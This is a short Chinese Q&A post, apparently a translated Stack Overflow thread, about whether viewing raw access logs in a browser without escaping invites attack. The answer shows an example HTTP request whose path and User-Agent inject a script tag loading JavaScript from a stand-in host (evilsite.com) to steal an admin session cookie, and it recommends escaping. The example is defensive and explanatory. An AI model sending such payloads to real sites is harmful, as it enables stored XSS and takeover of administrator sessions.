php - 在不通过网络浏览器进行清理的情况下查看访问日志是否危险？

Question

不通过网络浏览器清理就查看访问日志是否危险？

我正在考虑记录访问日志，我正在考虑通过wev浏览器查看它，但是如果攻击者修改了他的远程主机或用户代理什么的，他可以攻击我吗？

通过将攻击代码插入他的远程主机或用户代理等。

那么在通过网络浏览器打开访问日志文件之前，我是否需要通过 htmlspecialchar 进行清理？

我的意思是攻击者将一些攻击代码插入到他的远程主机或用户代理或某些软件中，然后我通过网络浏览器看到该访问日志，然后我的 PC 将受到该代码的影响。

Answer 1

是的，这很危险。

例如，恶意用户可以请求这样的东西:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>

并使用恶意 JavaScript 破坏您的 View 页面。

由于您可能正在查看您网站上的日志，因此您将以具有管理权限的帐户登录。使用恶意 JavaScript，攻击者可以窃取您的 session cookie 并接管您的 session ，完成您在登录时可以执行的所有操作。

因此，总而言之，您应该绝对逃避访问日志页面，除非您希望您的管理帐户受到威胁。